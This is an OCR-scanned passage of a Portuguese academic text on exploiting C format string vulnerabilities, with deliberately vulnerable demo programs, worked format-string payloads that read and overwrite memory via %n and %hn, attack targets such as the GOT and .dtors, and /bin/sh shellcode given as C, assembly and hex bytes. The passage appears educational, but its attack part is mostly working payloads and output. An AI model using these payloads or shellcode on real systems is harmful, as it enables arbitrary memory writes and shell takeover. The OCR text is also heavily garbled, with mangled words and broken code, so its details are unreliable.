unsigned int *value_on_heap;

char meddle ='?";
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value_on_stack = 0x01010101;

value_on_heap = (unsigned int *) malloc(2*sizeof (unsigned int));
value_on_heap[0] = VALUEZL,;
value_on_heap[1] = VALUEZ2;
value_on_heap[2] = VALUES;

printf("Digite seu nome:\n");

user_input[0] = meddle;

scanf("%s", user_input + 1);
printf(user_input); // <-- Codigo vulneravel

free(value_on_heap);

return O;

O programa € basicamente o0 mesmo que o da segawm@ hlgumas modificacdes:
a string de formatagcdo tem um buffer maior e consegapre com um, e a variavel
value_on_heap aponta para um array de trés valores.

Supondo que o objetivo seja ler o valor armazenaaiovalue_on_heap[2] , O
primeiro passo seria confirmar que conseguiremssalizar valores suficientes da
pilha até chegar a propria string de formatacao:
Digite seu nome:
%08x.%608x.%08x.%08x.%608x.%08x.%08x.%08x.%608x.%08x

?bfde2al5.bfde2a74.b80d10ad.bfde2be4.00000000.0804b 008.01010101.3f000000.3830
253f.30252e78

Foi preciso desempilhar apenas 9 valores da pdha ghegar abuffer da string de
formatacdo, logo, € possivel utiliza-la sem prolsignNo entanto, ® esta desalinhando
o desempilhar da pilha do inicio do string de faagao, onde sera posto o endereco
alvo:

Digite seu nome:
AAAAY%08X.%08X.%08X.%08x.%08x.%608x.%08X.%08X.%08x.%0  8x

?AAAADbfde2al5.bfde2a74.b80d10ad.bfde2be4.00000000.0 804b008.01010101.3f000000.
4141413f.38302541

O lugar do endereco alvo foi marcado cema (ox41 em ASCII), e um doss foi
lido separado dos outros. Aplicand@aading para alinhar a string de formatacao, tem-
se:
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Digite seu nome:
XXXAAAA%O8X.%08X.%08x.%08X.%08x.%08X.%08x.%08X.%08x .%08x

?xxxAAAAbfde2al5.bfde2a74.b80d10ad.bfde2be4.0000000 0.0804b008.01010101.3f0000
00.7878783f.41414141

Agora, esta garantido que o endereco alvo seraskao problemas pelo décimo
formatador da string de formatagéo.

Segue-se entdo substituindovana pelo endereco alvo real. Pela analise da pilha,
temos que o primeiro valor do array esta situadenerec®xos8o48008 do heap, entao
o endereco alvo desejado é duas palavras apogjamucsenderecox08o48010 . NO
entanto, a entrada padrdo utilizada pelo prograrnatexiado, que possibilita apenas
caracteres ASCII, ndo valores binarios. Logo, digitm endereco CoOmm0804B010
seria impossivel, ja qua € o caractere daackspace, 04 é o de fim de transmissé, &
o de tabulacéo verticalie é o de escape de link de dados.

E possivel, no entanto, redirecionar a entradadpagara outra entrada, como a
saida de um programa ou o contetdo de arquivo.r8iopentdo um arquivo contendo a
seguinte string de formatacédo, onde o valor erdtehetes representa o endereco em
binario (lembrando que os sistemas UNIX d$dtie-endian, portanto o byte menos
significativo deve vir por primeiro):
| xxx[0804B010]%08x.%08x.%08x.%08x.%08x.%08X.%08x.%08 X.%08x.%S |

Pode-se redirecionar a entrada para este arquima@eguinte comando:

Jvulnprog < formatstringfile
Digite seu nome:

?xxx [ 1bfaB8c665.bfa8c6c4.b7f7a0ad.bfa8c834.00000000.0804b0 08.01010101.3f000000
.7878783f.www

Note que na saida valor lido petefoi “www, que corresponde ao valewo777777
armazenado nbeap como era desejado. Relembrando que o Ultimo @emttdo da
palavra alvo foi um caractere propositalmente fadao em ASCII) para impedir que a
leitura doheap prosseguisse.

Vale notar também que néo seria possivel visuatizaalorvalue_on_heap[l] = com
esta mesma técnica, devido ao comportamento daidwagnf utilizada para ler a
entrada do usuario. Os caractelesy Line (0A), Form Feed (oc), Return (op) e Space
(20) sinalizam o término da leitura da entrada, elimfeente o endereco nweap do
value_on_heap[1] ~ €0804B00C, que contém o caractere lderm Feed.

3.3 Escrita de valores da memoria

Foi visto até agora que é possivel ler valores dalgger ponto da memodria
mapeada do processo. Embora isso seja util cormanfenta para outros tipos de
atagues como sondagem do ambiente, ndo é o stdig@arma constituir uma forma de
atague completa ainda, ja que nao temos nenhumsaniemta para desviar o fluxo da
execucdo ou alterar um valor critico do programesd¢dnsiderando a utilizacdo de
estouro ddouffer). Resta, no entanto, ainda analisar o formatador

O formatadomen € 0 Unico formatador que ndo imprime valor alguansaida. Em
vez disso, ele grava no lugar apontado pelo endepagsado como argumento a
quantidade de bytes escritos até agora na saidax@woplo:
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#include <stdlib.h>

#include <stdio.h>

int main()
{
int valorl = 0;

int valor2 = 0;

printf("Teste%n123%n\n", &valorl, &valor2);
printf("Valor 1 = %d\nValor 2 = %d\n", valorl, v alor2);

Ao compilar e executar o programa acima se tenguoiste resultado:
Testel23
Valor1=5
Valor2 =8

Como se pode notar, embora o formatadopossibilite o atacante escrever algum
valor na memoria, 0 controle sobre esse valor tesérideveras limitado. Tem-se que
controlar a exata quantidade de caracteres esaré#csaida para que um valor pré-
determinado seja escrito pelo formatador, o quese um problema quando se quer
escrever um valor grande como um endereco, que dogmvalores que geralmente se
manuseia num ataque a um sistema.

Por exemplo, para escrever o valgrgo4Boos (0 endereco dealue_on_heap[0] ),
precisariamos de um string de formatacdo que esc84524936 (0x0804B008 em
decimal) caracteres na saida antes do formatadldfelizmente, pode-se utilizar um
formatador que imprima essa quantia em vez de citgplil34524936 caracteres no
string de formatacdo, coma3s4s524936d . Note que em algumas implementacdes, como,
por exemplo, a da GNU C, existe um bug que impedtliaacdo de valores maiores
que 1000 para o comprimento de um formatador. Rodas duvidas, é recomendado
sempre utilizar a precisdo do formatador para #gseale controle de caracteres, ja que
ela ndo sofre do mesmo bug.

Um problema citado em PORTAL € que, dependendoodfigtiracdo do sistema,
para imprimir 134524936 seria necessario alocas oz 128 MB de memdria na pilha
para lidar com o resultado, tornando a execucé&a keronerosa. Valores de enderegos
maiores podem chegar a requerer memoéria na ordegigdbytes para processar a
saida, inviabilizando essa abordagem para conti®learacteres. Numa nota a parte,
como o sistema fica “pendurado” ao processar tedsss caracteres, pode se utilizar
esses formatadores para causar um atague de nelgasévico.

Nem todos os sistemas operacionais chegam a “mafiquocessando todos esses
caracteres; isso sO ocorre em ambientes em gbeaffess utilizados para calculos de
precisao sejam alocados dinamicamente. Sistemig®seim que os calculos séo feitos
em cima da prépria pilha simplesmente irdo abaando douffer exceder a memoria
alocada para a pilha. Alguns outros sistemas possuma implementacdo da
linguagem C que verifica durante a formatacdo s€irmoero de caracteres escritos na
saida ndo excedera os limites ldfer utilizado, interrompendo a execucéo caso isso
ocorra.
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Tudo isso, no entanto, ndo inviabiliza a escritaaleres grandes com o formatador

%n Nas arquiteturas CISC, por ndo haver restricaalideamento de memoria, pode-se
dividir o processo em mais de uma etapa, escrevendtor desejado por partes através
de multiplosxsncom enderecos alvo consecutivos:

value_on_heap[3] value_on_heap[2] value_on_heap[1] value_on_heap[0]

58 49 4C 55

00777777

00 59 58 57

00 43 42 41

58 49 4C 55

00 0000 10

00 59 58 57

00 43 42 41

58 49 4C|00

00 00 BO|10

00 59 58 &7

00 43 42 41

58 49

00 00 00 04

BO 10

0059 58 57

00 43 42 41

58

00 00 00 08

04 BO 10

00 59 58 67

00 43 42 41

Original

Primeira escrita

Segunda escrita

Terceira escrita

Quarta escrita

Figura 3.2: Utilizacao de quatro escritas paraestyever 1 byte em memoria

A abordagem consiste de uma string de formatagadoaceeguinte estrutura:

[ Stack Popping ][ Padding ][ i

I

%n %x,u %n |

3 ][ Endereco alvo + 2 ][ i

1 ][ Endereco alvo ][ i
4 ][ Endereco alvo + 3 ][ %x

» ][ Endereco alvo + 1
1U %n %X Lu %n %X zu

Stack Popping

: Formatadores para avancar o topo da pilha,até

Padding : 0 a 3 caracteres qualquer para alinhamento, @om a pilha.

i ,- Valor inteiro qualquer nao nulo.

Endereco alvo

(+n)

escrita (incrementado pey.

. 4 “caracteres” especificando o endereco alvo para

%x%U %n %x,U %n %Xxsu %n %x,u %n: Formatadores para escrever o valor
desejado. Cadeoxu |é 0i, respectivo com comprimenta,) exato para
imprimir o nimero de caracteres desejado peleeguinte.

Considere entdo o seguinte programa vulneravel:
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#include <stdlib.h>

#include <stdio.h>

#define VALUE1 0x00434241 /| ABC
#define VALUE2 0x00595857 // WXY
#define VALUE3 0x00777777 Il www
#define VALUE4 0x58494C55 // UNIX

/* vulnprog3.c */

int main(int argc, char *argv([])

{
char user_input[300];
unsigned int value_on_stack;
unsigned int *value_on_heap;

char meddle ='?";

value_on_stack = 0x01010101;

value_on_heap = (unsigned int *) malloc(2*sizeof
value_on_heap[0] = VALUEZL,;
value_on_heap[1] = VALUEZ2;
value_on_heap[2] = VALUES;
value_on_heap[3] = VALUE4;

printf("Digite seu nome:\n");
user_input[0] = meddle;
scanf("%s", user_input + 1);

printf(user_input); // <-- Codigo vulneravel

printf("\n");

printf("Valores iniciais: 0x%08x 0x%08x 0x%08x 0
VALUES, VALUEA4);

printf("Valores  finais: 0x%08x  0x%08x
value_on_heap[0], value_on_heap[1], value_on_heap[2

free(value_on_heap);

return O;

0x%08x 0

(unsigned int));

x%08x\ n", VALUE1, VALUE2,

x%08x\ n",
], value_on_heap[3]);

Esse programa é o0 mesmo da secao 3.2, exceto quee sfp quatro valores no
array e é exibido no console mensagens indicandaloses destes no inicio e no final
da execucdo do programa. Tendo como alvo de esqu@quer valor em

value_on_heap , CasO consiga-se altera-lo comprotf

vulneravel, essas mensagens
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extras tornam possivel visualizar facilmente o ltado. Neste exemplo é mostrado
como alterar o valor eRalue_on_heap[2] , No ja calculado endereqsgo4B010 , para o
valor aleatoriamente escolhidwc4bp2B1A.

O primeiro passo é o mesmo, verificar se € possileancar o local da string de
formatacdo armazenado na pilha:

9%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08X.% 08x.%08x.%08x
?bfc15841.b7f16954.b7f15ff4.b7ef7b14.00000001.bfc15 8a4.bfc15a14.00000000.0804
b008. 01010101.3f000000.3830253f.30252e78

Valores iniciais: 0x00434241 0x00595857 0x00777777 0x58494C55

Valores finais: 0x00434241 0x00595857 0x00777777 0x58494C55

Consegue-se atingir a variavéer input  com 12 formatadores de 4 bytes. O
objetivo agora € inserir um numero qualquer nolfida string de formatacdo e
aumentar a quantia de formatadores de forma qapmda pilha aponte para 0 nimero
inserido. Com os formatadores utilizados acimasx.) isso € impossivel, uma vez que
sao utilizados 5 caracteres para desempilhar agebgtes. Para obter uma eficiéncia
melhor, pode-se utilizar o formatader que, como foi descrito anteriormente, tem a
melhor taxa de avanco da pilha para ambientes §&h Bode-se estimar o numero de
formatadores necessarios através da seguinte equaca

[ Bytes até o string de formatacdo ] + [ Caracteres nao inseridos pelo
usudrio no inicio do string de formatacao ] + [ Car acteres p  or formatador ] *
[ Ndmero de  formatadores ] + [ Padding ] = [ Bytes lidos por fo rmatador | * [
Ndmero de formatadores ]

Padding Nneste caso € o menor inteiro positivo que tormémero de caracteres na
string de formatacdo até agora divisivel pelo nénae bytes lido por formatador.
Desta forma, chega-se a conclusdo de serem ndossgdormatadores.f e nenhum
caractere dpadding.

Adicionando os , e os enderecos alvo, o string de formatacao aodstaté agora
esta como:

%.1%.1%.1%.1%.1%.1%.1%. 1% AAAA[OX0804B010]BBBB[OX0 804B011]CCCC[0x0804B012]DD
DD[0x0804B013]

Colocando essa string de formatacdo dentro de wmivar e redirecionando a
entrada padréo do programa para esse arquivo tensesguinte saida:

Digite seu nome:

?-0-0-001601141840192318346296553036238102742696121 77150016248869084500267638
574855050836646383230362471465612871141472046555993 56213250482238953983413101
368522777494817632424296450524367028224001601173394 47384252961822507535105477
196029505592078882055589738932462063974748523583284 60571311314740765673727491
748582780720988914761314324294432671927223635635336 239229911029388410880AAAA [
[IBBBBICCCCI/DDDDI]

Valores iniciais: 0x00434241 0x00595857 Ox00777777 0x58494C55
Valores finais: 0x00434241 0x00595857 0x00777777 0x58494C55

Resta apenas colocar os formatadesgsvn %x ,u %n %x su %n %x ,u %n NO final da
string de formatacé&o, que realizardo as quatratascesejadas. Dado o valor escolhido
0x3C4D2B1A, 0S Valores escritos seréalA, ox2B, 0x4D € 0x3C hesta ordem, devido a
arquiteturdittle-endian dos ambientes UNIX.

Contando os caracteres na saida mostrada acimeiojdmpressos 413x{9D)
caracteres pela string de formatacéo (levar emacgmé foram impressos 4 caracteres
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oxo8 debackspace). O wxu precisa ajustar essa quantidade para, ou 26 caracteres,
para que o formatadesn escrevaxiA no enderegox0804B010 . ISSO € impossivel, uma
vez que ndo ha como subtrair caracteres da saidandao. No entanto, é possivel
ajustar o valor parex21A, 538 caracteres, que é ainda uma quantia pequamiEci@nte
para ndo dar problema de memdria. A Unica conse@i@que o byte ao lado no
enderecox0804B011 também sera alterado, felizmente apenas até gr@ena escrita
sobrescreva essa valor. Portanto, o valos, @538 — 413 = 125.

Para a segunda escrita, € preciso ajustar o wabor paraoxes. Novamente
impossivel, ajusta-se para2s entdo, 555 caracteres. O valorxgé 555 — 538 = é 17.

Para a terceira escrita, € preciso ajustar o watop paraox4b. Impossivel, ajusta-
se parax24D , 589 caracteres. O valor deé 589 — 555 = 34.

Para a quarta escrita, é preciso ajustar o vatep paraox3c . Impossivel, ajusta-se
paraox33c, 828 caracteres. O valor geé 828 — 589 = 239.

Calculados todos os valores, a string de formatégabe:

%.1%.1%.1%.1%.1%.1%.1%.1%.AAAA[OX0804B010]BBBB[OX0 804B011]CCCC[0x0804B012]DD
DD [0x0804B013]%125u%n%17u%n%34u%n%239u%n

Ao executar novamente o programa, tem-se na saida:

Digite seu nome:

?-0-0-100160114184019231834629655303623810274269612 17715001624886908450026763
857485505083664638323036247146561287114147204655599 35621325048223895398341310
136852277749481763242429645052436702822400160117339 44738425296182250753510547
719602950559207888205558973893246206397474852358328 46057131131474076567372749
174858278072098891476131432429443267192722363563533 6239229911029388410880AAAA
foBBBBILICCCCILIDDDDI

1094795585 1
111638594 1128481603
1145324612
Valores iniciais: 0x00434241 0x00595857 0x00777777 0x58494C55
Valores finais: 0x00434241 0x00595857 0x3c4d2bla 0x58000003

O valor de value on_heap|2] foi efetivamente alterado dexoo777777 para
0x3C4D2B1A. No entanto, os trés bytes menos siatifios devalue_on_heap|3]
também foram alterados por conseqiéncia das esddésalinhadas. Felizmente esse

valor ndo é critico para o programa, mas caso foss@abilizaria termos
value_on_heap[2] = cOmoO alvo.

Outro fato a se tomar nota é que se por acaso Xisitis§evalue_on_heap[3] , OU
seja value_on_heap[2] fosse o ultimo elemento do array, as escritaslidbsaas
acabariam invadindo areas tHeap ndo alocadas pel@alloc . Nos ambientes UNIX
atuais, a area alocada Heap paravalue_on_heap € aumentada dinamicamente nessa
situacao, ocasionando erro somente na funeéo para desalocar essa area, que nao
estara com o tamanho esperado. Em ambientes mdigosanonde esse
redimensionamento dindmico ndo existe, 0 programarea ja ao processar o segundo
%n com erro de segmentacao.

Um cuidado a ser tomado durante os célculos detigade de caracteres impressos
€ que os inteiros utilizados para aumentar a quahi de caracteres na saida podem
possuir até 10 caracteres’{possui 10 caracteres). Se esses inteiros possuigm
caracteres que o formatadwxu especificar, o«, sera simplesmente ignorado e sera
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impresso ha saida quantos caracteres forem ndosss@mo especificado no capitulo
2. Via de regra, utilizando valores maiores quepafa todos o0s, pode-se evitar
gualquer imprevisto desse tipo.

Essa a abordagem com quatro escritas € consideraaais portavel, ja que
escrevendo byte a byte conseguimos manter os gadoiEerem escritos pequenos o
suficiente para passar pelas restricbes de mernaridesempenho de boa parte dos
sistemas. A seguir serdo descritas variacbes ddxmaagem mais praticas, porém
restritas a ferramentas dependentes de ambiente.

3.3.1 Escrevendo com short ints

Cada escrita do formatadwn utiliza por padréo 4 bytes. Algumas implementacdes
da linguagem C, no entanto, possuem opc¢des de tandiaponiveis para alterar a
guantidade de bytes escritos do formatader A GNU C, como mostrado
anteriormente, possibilita utilizar o formatadein para escrever apenas 2 bytegre
para escrever 8 bytes. No caso, o formatadeg de especial interesse por possibilitar
gue em vez de quatro escritas consecutivasweorpossa se utilizar apenas duas com
whnpara escrever dois bytes de cada vez.

value_on_heap[3] value_on_heap[2] value_on_heap[1] value_on_heap[0]

58 49 4C 5500 77 77 77|00 59 58 57|00 43 42 41| Original

58 49 4C 55|00 77(BO 10000 59 58 57|00 43 42 41| Primeira escrita

58 49 4C 5508 04|BO 1000 59 58 57|00 43 42 41| Segunda escrita

Figura 3.2: Utilizacdo de duas escritas para sobzesr 1 byte em memoéria

Dessa forma, a string de formatagao possui a siegestrutura:

[ Stack Popping ][ Padding ][ i 1 I[ Endereco alvo J[ i » I[ Endereco alvo + 2
[ %x  1u %hn %X ,u %hn ]

» stack Popping : Formatadores para avancar o topo da pilha,até

* Padding : 0 a 3 caracteres qualquer para alinhamentq dom a pilha.
e i, Valor inteiro qualquer néo nulo.

* Endereco alvo (+n) . 4 “caracteres” especificando o endereco alvo para
escrita (incrementado pey.

*  9%xu %hn %x ,u %hn: Formatadores para escrever o valor desejado. @ada
|é 0i, respectivo com compriment®,] exato para imprimir o nimero de
caracteres desejado pedonseguinte.

No exemplo anterior, a string de formatacao fiegles

%.1%.1%.1%.1%.f%.1%.1%.f%.FAAAA[0x0804B010]BBBB[0X0 804B012]%10637u%hn%4403u%h
n

Para a string de formatacdo acima néo foi necessaas caso uma das escritas
precisasse de um numero menor de caracteres jassygy na saida, a mesma técnica de
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aumentar o valor necessario (por exemploodeiA paraoxi2BiA) continua sendo
valida. Caso o valor exceda o valor maximo de uprtsint, somente os bits menos
significativos sdo escritos e o restante é truncado oferecendo entéo risco algo para
esta abordagem.

A grande vantagem dessa variacdo (além da singslifis calculos) € que a palavra
ao lado permanece intocada. Para as arquitetu(S &dsa € a Unica alternativa, ja que
nao € possivel escrever fora do alinhamento devipaalada meméria (no caso o
alinhamento de 2 bytes € emulado). No entantolar @aser escrito nesses dois bytes
pode ja ser grande o suficiente para esbarrar estsicfes de memoria j4 citadas
anteriormente, sem contar que nem todas as imptag@@s da linguagem C possuem
essa opc¢ao de modificador de tamanho, em partiaslenplementacdes mais antigas.

3.3.2 Utilizando acessos direto a parametro

Outra facilidade disponivel em algumas implemerdagia linguagem C € 0 acesso
direto a parametro, explicado no capitulo de caoseaniciais. Com ele, os célculos
para avanco da pilha simplesmente n&o precisanea&ados, basta somente saber em
qual posicao da pilha se encontra os valores dksejdJtilizando quatro escritas, a

PPPAAAA[OX0804B010][0x0804B01 1][0x0804B012][0x0804B 013]%13$514u%14$n%13%17u%15
$n%13$34u%16$n%13$239u%17$n

estrutura da string de formatagéo seria:

[ Padding ][ i ][ Endereco alvo ][ Endere¢ 0 alvo + 1 ][ Endereco alvo + 2 ][
Enderego alvo + 3 ][ %y 13X 1U %y ,$n %y 1BX U %y 35N %y 15X 3U %Y 43N %y 1 BX 4U Yoy 55N ]

e Padding : 0 a 3 caracteres qualquer para alinhameniccdm a pilha.
e i:Valor inteiro qualquer ndo nulo.

* Endereco alvo (+n) . 4 “caracteres” especificando o endereco alvo para
escrita (incrementado pey.

®* %y $x U %Yy -3Nn %y 13X U %y 33N %y X 3U %y 43N %y 1 BX 4U Yoy BN Formatadores para
escrever o valor desejado. Qstrabalham da mesma forma nas abordagens
anteriores, controlando a quantidade de caracierpeessos.y, indica o
“parametro” que se encontra enquantog, em diante indicam as posi¢coes
dos enderecos alvo incrementalmente.

No exemplo anterior, a string de formatacao fiegles

Apesar da simplicidade, a utilizacdo de acessdadaeparametro € desencorajada
pela falta de portabilidade. Na implementacéo guiagem C para os sistemas BSD, é
possivel acessar apenas 0s oito primeiros byt@idldg enquanto a implementacao da
Solaris permite acessar um maximo de trinta.
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4 TECNICAS DE EXPLORAGAO DA )
VULNERABILIDADE DE STRINGS DE FORMATAGAO

Foi visto até agora que uma vulnerabilidade dengtde formatacdo permite ao
atacante escrever ou ler de qualquer ponto da neem@peada de um processo.
Utilizando essa brecha, existem diversas abordggessiveis para expandir o controle
do usuario sobre um sistema. Geralmente se uéilizapacidade de leitura da string de
formatagcdo para sondar o ambiente, e a capacidadsaiita para redirecionar o fluxo
de execucéo.

Neste capitulo serdo descritas técnicas comumeitiadas em ataques sobre a
vulnerabilidade de strings de formatacéo. Na priangarte, serdo descritos 0s possiveis
alvos de uma escrita para redirecionar o fluxo>a@e@cdo, enquanto na segunda seréao
descritos os possiveis destinos de um redireciontnue fluxo. Por dltimo séo citadas
consideracgdes adicionais a serem levadas ao plamejatagque a um sistema.

4.1 Alvos de um ataque

Entre os diversos pontos vulneraveis que podemtsigados para alterar o fluxo de
um programa, 0S mais comuns Sao os citados a seguir

4.1.1 Endereco de retorno da fungéo

O endereco de retorno é aquele armazenadetack frame de uma funcao, ja
mencionado no capitulo 2, que indica o ponto nagoodue o fluxo de execucao deve
retornar apés o término da funcéo. E tipicamentdvo dos ataques de estouro de
buffer, e também pode ser utilizado para um ataque solerabilidade de strings de
formatacdo, embora dependa bastante de se conselggializacdo dele em tempo de
execucdo. A diferenca entre esses dois ataque® @tgqques via estouro deffer
trabalham com distancias relativas entrebufer e o endereco de retorno, que
geralmente ndo sdo alteradas a cada execucao,némqudizar a vulnerabilidade de
string de formatacéo requer conhecer o endere¢o eeaonde o endereco de retorno
esta na pilha para entédo sobrescrevé-lo, e infehitena localizacdo de ustack frame
varia entre uma execucédo e outra. (BOUCHAREINE)cee® detalhes de como
utilizar um endereco de retorno para um ataqueeswvbinerabilidade de strings de
formatacao.

4.1.2 Global Offset Table

Explicita ou implicitamente, um programa normal liza diversas chamadas a
funcdes que podem néo estar localizadas em seu@uauigo, e sim distribuidas em
diversas bibliotecas. Antigamente, nos sistemasXJNbksas bibliotecas eram todas
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vinculadas estaticamente, replicando os trechaddigo da biblioteca diretamente no
programa executavel. Apesar de simples e eficemtalguns aspectos, essa abordagem
acaba por consumir memoria demais ao ter que @umicodigo das bibliotecas para
cada executavel.

Nos sistemas UNIX recentes, é utilizado bibliotediaéimicas e compartilhadas que
utilizam um vinculador dindmico para localizar esghnibilizar as fungbes de uma
biblioteca para todos os processos requerentesiddlador dindmico carrega somente
as funcdes necessarias das bibliotecas, e sommterer. Para todo processo que for
utilizar essas funcdes, o vinculador inicializaespaco de enderecamento do processo
areas de segmento de cédigo, dados inicializadhd® énicializados para cada uma das
bibliotecas, e pode entdo criar a Global Offsetl§4B0T) do programa, contendo 0s
mapeamentos para cada um dos enderecos das futedmblioteca utilizadas pelo
programa. Esses mapeamentos, no entanto, s6 sefratios em tempo de execucao
pelo carregador dinamico, responsavel por carregdescarregar as bibliotecas da
memoria. Para tanto, essa sessao nao ¢ marcadasoameate leitura, tornando-se um
alvo viavel para ataque.

Através da ferramentabjdump , podemos visualizar a GOT do programa utilizado
como exemplo na se¢ao 3.3:

tiago@ubuntubox:~$ objdump ./vulnprog -R

Jvulnprog:  file format elf32-i386

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

08049ff0 R_386_GLOB_DAT __ gmon_start
08042000 R_386_JUMP_SLOT _ gmon_start
08042004 R_386_JUMP_SLOT putchar
0804a008 R_386_JUMP_SLOT __libc_start_main
0804a00c R_386_JUMP_SLOT free

08042010 R_386_JUMP_SLOT scanf
0804a014 R_386_JUMP_SLOT printf

0804a018 R_386_JUMP_SLOT malloc
0804a01lc R_386_JUMP_SLOT __stack chk_falil
08042020 R_386_JUMP_SLOT puts

O ideal é analisar a execucédo do programa ou stigacfonte para determinar se
alguma dessas func¢des listadas é chamada apogm pbneravel do programa para
garantir que o ponto de desvio seja ativado. No dasprograma do exemplo, podemos
alterar o enderegmoso4Aooc onde encontra-se o endereco da fungédo, chamada no
final programa.

Uma das grandes vantagens de se tomar a GOT coma ajue ela é fixa por
binario. Ao contrario do endereco de retorno, geeedde do estado da pilha, a GOT
sempre sera alocada no mesmo lugar no espaco @eeeachento do processo, e
sempre tera a mesma disposi¢do. Logo, é segurnaafgiue para esse programa, por
exemplo, 0 enderecmxoso4A00C sempre apontard para o endereco da funedd),
facilitando o ataque.
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4.1.3 .dtors

Programas normalmente tém a possibilidade de seiispr métodos construtores
e destrutores. Em C, os métodos construtores s&mutxios antes da funcéeain do
programa, ao passo que os métodos destrutoresxséotados logo antes da funcao
main finalizar com uma chamada de sistemia (RIVAS).

Programas executaveis do tipo ELF possuem secGesciBfsas para mapear
fungbes construtoras e destrutoras. Assim como &, @@bos os tipos de fungbes sao
mapeados no espaco de enderecamento do usuariosegéss .ctors e .dtors
respectivamente. Utilizando novamenteb@ump , pode-se observar como e onde se
localizam essas secoes:

tiago@ubuntubox:~$ objdump -s -j .ctors ./vulnprog

Jvulnprog:  file format elf32-i386

Contents of section .ctors:
8049f0c ffffffff 00000000 ...

tiago@ubuntubox:~$ objdump -s -j .dtors ./vulnprog

Jvulnprog:  file format elf32-i386

Contents of section .dtors:
8049f14 ffffffff 00000000 ...

Note que ambos .ctors e .dtors iniciam cfff e terminam comx00000000 .
O primeiro valor consiste de um contador de nunagofuncdes construtoras ou
destrutoras menos 1, enquanto o segundo valor Bytennulo sinalizando o final da
sessdo. O programa utilizado como exemplo ndo passinuma funcdo especificada
como construtora ou destrutora, mas caso posswissedereco de execucdo dela
estaria armazenado entre esses valores.

A secdo .ctors ndo interessa muito nessa situagio Qo programa ja esta em
execucao quando a vulnerabilidade de string dedtagdo € ativada. A secdo .dtors, no
entanto, s6 sera utilizada na finalizacdo do prograapdés a vulnerabilidade. A
principio pode-se modificar a sec¢ao .dtors semlpnods, j4 que esta secdo também nao
é definida como somente leitura. Infelizmente ndmossivel alocar espaco na secéo
para termos onde escrever entre o contador e orte entdo nos resta somente
alterar um desses dois caso o programa n&do possbhama funcao destrutora definida
para ser sobrescrita. O contador ndo é uma boappgd/erdade, durante a execugao
ele ndo tem funcdo nenhuma e nem precisa estapsizado com a real quantia de
destrutores da se¢do. Resta entdo alterar o bide cam o agravante de que apés a
execucao do codigo malicioso, o programa continurvadindo as sec¢fes seguintes a
procura de mais enderecos de destrutores.

4.1.4 Outros alvos

Numa abordagem nao tdo genérica como as anterjpzds;se atacar as proprias
variaveis do programa em vez de estruturas desteexemplo, ponteiros para funcdes
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que o programa utilize podem ser sobrescritos gEhiaeciona-los para outros trechos
de cddigo, ou informacgdes relevantes como logireerhas podem ser falsificadas
diretamente pelas strings de formatacéo.

4.2 Tomando posse de um sistema

Uma vez que se tenha determinado um ponto de ategie agora utiliza-lo para
expandir o controle do atacante sobre o sistemax@nplo mais comum nessas
situacdes é o atacante redirecionar o fluxo deug@ecpara um codigo injetado para
conseguir abrir um shell na maquina invadida, nrmeate com as mesmas permissées
do programa vulneravel. A seguir sdo mostradosois mhodos mais comuns de se
conseguir um shell.

4.2.1 Shellcode

Shellcode € como sdo chamados pequenos trechos de codigoalnmente em
linguagem de maquina utilizados durante um ataguea pbrir nada menos que um
shell. Nao tendo como injetar codigo de alto nivel, umea que este tem que ser
compilado ou interpretado por outro programa, échagente o recurso que um atacante
pode utilizar quando se trabalha diretamente comeandria de um sistema. Por
exemplo, o seguinte trecho de codigo em C abrshgthnos sistemas UNIX, obtido de
ALEPHONE(1996):

char *list_args[2];

list_args[0] = “/bin/sh” ;
list_args[1] = NULL;
execve(list_args|[0], list_args, NULL);

exit(0);

Nesse codigo, a funclexecve executa o programah para abrir umshell,
finalizando comexit0) . Normalmente as circunstancias que possibilitaexexucao
do shellcode (normalmente durante um ataque) rongmema execu¢ao normal de um
programa de forma que, se este continuasse a akeqits shellcode, ele terminaria
em erro. Por isso é importante ressaltar ggaslbcode termine conexito)  para que o
processo encerre sem problemas, até porque a fumegde ja tera criado outro
processo que estard executandshdl. Traduzindo o cddigo acima para cédigo de
maquina, tem-se:
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jmp  Oxaf

popl %esi

movl %esi,0x8(%esi)
xorl  %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal Ox8(%esi),%ecx
leal Oxc(%esi),%edx
int  $0x80

xorl  %ebx,%ebx
movl %ebx,%eax
inc  %eax

int  $0x80

call -0x24

.string \"/bin/sh\"

A sequUéncia de bytes correspondente a esse cdagligoenfim pode ser escrita
diretamente na memoria é esta:

eb1f5e89760831c088460789460cb00b89f38d4e088d560ccd8 031db89d840cd80e8d
cffffff2f62696e2{7368

Existem diversos cuidados especiais que devem gradbs ao se criar um
shellcode, em especial se tratando de um que se possawutilientro da prépria string
de formatacdo. Primeiro, devido a restricdes de @niengue os buffers podem possuir,
ele deve ser o mais curto possivel. Como normaknestiellcode é posto numa string
hospedeira, ndo pode conter caracteres nulos,ngateuma fungéo intermediaria que
manuseie a string considere esse caractere nulo oaiittimo caractere de uma string.
Ainda, se a string hospedeira é uma string de fapda, ndo pode haver caracteres de
percentagem, ou, se houverem, que sejam duplicaduos,vez que esses caracteres
serdo considerados como sinalizacao de formatadores

Uma vez definido shellcode, 0 atacante ainda tera a incumbéncia de injeté&lo
memoéria do programa. Na falta de outras formasntia@a, pode-se utilizar o proprio
string de formatacéo, redirecionando o fluxo decagéo para aquele ponto da string.

4.2.2 Retorno para a LibC

Originalmente, retorno para a LibC & uma abordagembuffer overflow que
redireciona o fluxo de execucao através do endetegetorno para uma funcdo de uma
biblioteca dindmica que o programa utilize, maisiomente a LibC, e especificamente
a funcdosystem da LibC. Essa funcédo, diferentementeedecve (que ndo € uma
funcdo da LibC), executa um Unico comando diretaeneashell, encerrando este logo
em seguida. E para ndo se limitar a somente um rwonaé utilizado este Unico
comando para abrir efetivamente gnell, dando ao atacante o controle desejado sobre
0 sistema.

Entre os cuidados a se ter com essa abordagerrsengize dependendo da escolha
do ponto que se altera o fluxo de execucdo do anogr o endereco onde a funcao
system esperara que haja um pardmetro serd diferenteex@wnplo, no caso de se
redirecionar o enderec¢o de retorno para a fumggiem , 0os dois bytes logo acima do
endereco de retorno servirdo como endereco dencetrparametro para a funcao
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system , enquanto que nos casos que se desvia a chamadgmadéuncdo, como a
sobrescrita da tabela GOT ou da secédo .dtors, wm stack frame ja sera inicializado
com o0 endereco de retorno e 0s parametros paran@@@dugystem utilizar (pode

acontecer do numero de parametros entre a funggmadre asystem nao serem
